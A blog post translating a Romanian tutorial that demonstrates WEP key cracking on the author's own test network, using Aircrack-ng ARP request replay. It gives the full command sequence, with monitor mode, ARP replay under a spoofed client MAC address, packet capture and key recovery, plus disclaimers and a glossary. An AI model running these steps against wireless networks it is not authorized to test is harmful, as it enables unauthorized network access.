Istvan Juhos

Notes byIstvan Juhos

All field notes

Why WEP Wireless Networks Are Insecure: ARP Request Replay

An English translation of a Gentoo Linux and Aircrack-ng demonstration on the author’s own WEP test network, with the original commands, screenshots, and a glossary.

English translation of the original Romanian article, “Insecuritatea rețelelor wireless cu criptare WEP — Cum se poate sparge WEP-ul cu ARP Request Reply.” This historical demonstration used Gentoo Linux and Aircrack-ng 1.1 on a wireless networ I created for the test.

Historical note: WEP is obsolete and insecure. A failed attempt with a particular technique does not mean that router settings have made WEP secure; see Cisco’s explanation of Wi-Fi security. The commands and screenshots below preserve the original workflow, interface names, addresses, and filenames. One typographic dash in --bssid has been normalized. Current tool versions and drivers may behave differently.

Original wireless tutorial illustration: a Wi-Fi symbol with a lightning bolt

Although wireless networks protected with WEP encryption are no longer considered secure because of their vulnerabilities, breaking WEP is not always as straightforward as it might seem. There are several approaches to choose from.

Because of their weak security, these networks had already become less common than they were a few years earlier when I wrote the original article. Nevertheless, they could still be found even in larger cities, as well as in more out-of-the-way places where users were not keeping up with developments in IT security.

The original introduction also argued that increasingly sophisticated routers could still provide security with WEP when properly configured and administered, and that readers should not be surprised if they could not connect to a particular WEP network. That claim should be read alongside the historical correction above.

Let us look at the method I considered the most effective and reliable at the time. For this tutorial, I use Gentoo Linux and several utilities introduced below.

Breaking WEP with ARP request replay

This method replays previously captured ARP requests.

What you need

  • A wireless network adapter that supports packet injection. The original article identifies the adapter used as “BroadCom WiFi Link 5100.” Depending on the adapter and driver, packet injection may require a driver patch. The hardware name is retained as it appeared in the source.
  • The Aircrack-ng suite, including aircrack-ng, airodump-ng, and aireplay-ng. At the time, I recommended downloading the latest version and compiling it locally because distribution packages were often behind. This demonstration uses version 1.1.
  • A WEP-encrypted wireless network within range. If it is too far away, you may be able to recover the WEP key but still fail to connect. A router may be able to transmit farther than the wireless adapter can transmit back.
  • Another client already connected to that network.

The theory

How does this attack work? The original article compared it loosely with ARP poisoning. More precisely, it is an ARP replay technique: previously captured packets are retransmitted to generate additional encrypted traffic and initialization vectors, rather than altering ARP cache entries.

First, place the wireless adapter in monitor mode so that it can capture and inject packets. Scan the wireless networks, then note the BSSID of the network being tested and the MAC address of a client connected to it.

Capture packets exchanged between that client and the AP, or access point. After capturing some packets, stop that capture and use the recorded packets for injection.

What does injection mean here? The captured packets are sent back to the AP using the client’s source address. This generates ARP traffic, causing the router to produce more IVs—initialization vectors—which are needed to recover the WEP key.

Save the ARP traffic and continue monitoring until enough data has been collected. Stopping the capture leaves a file with the .cap extension. Aircrack-ng can then attempt to recover the WEP key, provided enough useful traffic was captured between the client and the AP.

Once the key is recovered, it may be possible to connect to the AP, obtain internet access, or join the wireless network and discover computers connected to the router. For this particular demonstration, traffic from at least one client already connected to the AP is essential.

The original demonstration, step by step

1. Start the wireless adapter in monitor mode

istvan@it $ airmon-ng stop wlan0
istvan@it # airmon-ng start wlan0

2. Scan the wireless networks

istvan@it # airodump-ng wlan0
Original airodump-ng scan showing wireless access points and an associated client
The original wireless scan. Select the screenshot to view it at full size.

3. Record the network and client identifiers

Note the network’s BSSID, its ESSID—the network name—and the MAC address of a client connected to the AP.

4. Capture and replay ARP traffic

Capture packets exchanged between the connected client and the AP. The original description begins with capturing an ARP reply, then sending copies of a captured ARP packet and capturing the resulting traffic again.

aireplay-ng -3 -b 1C:BD:B9:C1:BA:AE wlan0
aireplay-ng -3 -b 1C:BD:B9:C1:BA:AE -h 00:18:DE:6F:65:16 -r replay_arp-0602-133453.cap wlan0
  • -3: standard ARP-request replay.
  • -b: the access point’s BSSID, or MAC address.
  • -h: the source MAC address; the original demonstration uses the connected client’s address.
  • -r: read packets from a capture file.

5. Stop this capture after about a minute

Press Ctrl+C.

6. Send the captured packets to the AP

Specify the source MAC address of the connected client. The original command and terminal message were:

istvan@it # aireplay-ng -2 -h 00:18:DE:6F:65:16 -r replay_arp-0602-133453.cap wlan0
The interface MAC (00:16:EA:56:72:A4) doesn't match the specified MAC (-h).
ifconfig wlan0 hw ether 00:18:DE:6F:65:16
Original aireplay-ng packet selection showing the access point, source MAC, packet bytes, and confirmation prompt
Interactive packet selection in the original demonstration. Select the screenshot to view it at full size.

Type Y to select the packet and send it to the AP. Leave this terminal open until the demonstration is almost finished.

-2 selects interactive frame selection.

7. Open another terminal to collect ARP requests

Run the following command. The output shown is the excerpt from the original article:

istvan@it # aireplay-ng -3 -b 1C:BD:B9:C1:BA:AE wlan0
No source MAC (-h) specified. Using the device MAC (00:16:EA:56:72:A4)
15:46:14 Waiting for beacon frame (BSSID: 1C:BD:B9:C1:BA:AE) on channel 11
Saving ARP requests in replay_arp-0602-154614.cap
You should also start airodump-ng to capture replies.
^Cad 64 packets (got 0 ARP requests and 0 ACKs), sent 0 packets…(0 pps)

Leave this terminal open while waiting for ARP traffic.

8. Open another terminal and capture the ARP replies

istvan@it $ airodump-ng -w wep -c 11 --bssid 1C:BD:B9:C1:BA:AE wlan0
Original airodump-ng capture on channel 11 with the WEP network's data counter
Capturing traffic for the test access point. Select the screenshot to view it at full size.

In the original procedure, I waited until #Data reached at least 50,000. Collecting more useful packets generally improves the chances of recovery because the capture contains more IVs for Aircrack-ng to analyze. For this demonstration, I reported waiting until I had captured 160,000 packets.

9. Stop airodump-ng and locate the capture file

Press Ctrl+C in the airodump-ng terminal. The directory from which it was started now contains a capture file named wep-01.cap.

10. Recover the WEP key with aircrack-ng

istvan@it # aircrack-ng wep-01.cap

The result in the original demonstration looked like this:

Original Aircrack-ng 1.1 result showing KEY FOUND and the ASCII test key istva
The WEP key recovered from the author’s demonstration network. Select the screenshot to view it at full size.

As shown in the screenshot, the WEP key was recovered. Its ASCII representation is istva.

I created this network specifically for the demonstration. This tutorial does not encourage anyone to attack a neighbor’s WEP network.

There are other techniques for attacking wireless networks. In the original article, I said that I might demonstrate further scenarios in the future, including possible attacks against WPA/WPA2 networks.

The article ended by arguing that these risks explained why large, security-conscious companies kept important networks disconnected from the internet and did not provide wireless access to their internal networks.

Editorial clarification: That closing statement reflects the original article’s broad conclusion, not a universal rule about enterprise networking. The demonstration establishes WEP’s weakness; it does not establish that every wireless or internet-connected enterprise network is inherently insecure.

Glossary

  • ESSID — Extended Service Set Identifier: the wireless network name, usually written as ordinary text.
  • BSSID — Basic Service Set Identifier: the identifier for a basic service set, typically the MAC address associated with the access point’s wireless interface.
  • AP — Access Point: the device providing wireless connectivity to clients; it may be integrated into a router or implemented by another suitably configured device.
  • IV — Initialization Vector: a value used as part of the encryption process. The plural is IVs.
Istvan Juhos

Notes byIstvan Juhos